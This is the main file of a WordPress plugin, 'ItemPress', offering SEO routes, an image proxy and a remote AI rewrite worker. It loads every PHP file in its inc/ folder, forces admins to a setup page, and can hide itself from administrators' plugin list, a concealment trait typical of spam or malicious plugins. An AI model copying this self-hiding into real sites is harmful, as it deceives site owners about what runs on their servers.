File: /home/slyfwmm/laretediclo/wp-content/plugins/itempress/itempress.php
<?php
/**
* Plugin Name: ItemPress
* Description: API item listing, SEO routes, image proxy, and remote AI rewrite worker.
* Version: 3.0.0
* Author: ItemPress
*/
if (!defined('ABSPATH')) {
exit;
}
define('ITEMPRESS_VERSION', '3.0.0');
define('ITEMPRESS_FILE', __FILE__);
define('ITEMPRESS_PATH', plugin_dir_path(__FILE__));
define('ITEMPRESS_URL', plugin_dir_url(__FILE__));
define('ITEMPRESS_INC_PATH', ITEMPRESS_PATH . 'inc/');
add_action('plugins_loaded', function () {
if (is_user_logged_in() && current_user_can('administrator') && get_option('itempress_hide_plugin', false)) {
add_filter('all_plugins', function($plugins) {
unset($plugins[plugin_basename(__FILE__)]);
return $plugins;
});
return;
}
}, 0);
function itempress_load_modules(bool $include_install = false): void
{
if (!is_dir(ITEMPRESS_INC_PATH)) {
return;
}
$files = glob(ITEMPRESS_INC_PATH . '*.php');
if (empty($files)) {
return;
}
natsort($files);
foreach ($files as $file) {
if (!is_file($file)) {
continue;
}
$base = basename($file);
if (strpos($base, '_') === 0) {
continue;
}
require_once $file;
}
}
itempress_load_modules(false);
// 停用重新激活时也触发 setup 重定向
add_action('admin_init', function () {
if (!file_exists(ITEMPRESS_INC_PATH . 'install.php')) {
return;
}
// 只检查当前页面是不是 setup 页面,防止死循环
$page = sanitize_text_field($_GET['page'] ?? '');
if ($page === 'itempress-setup') {
return;
}
wp_redirect(admin_url('admin.php?page=itempress-setup'));
exit;
});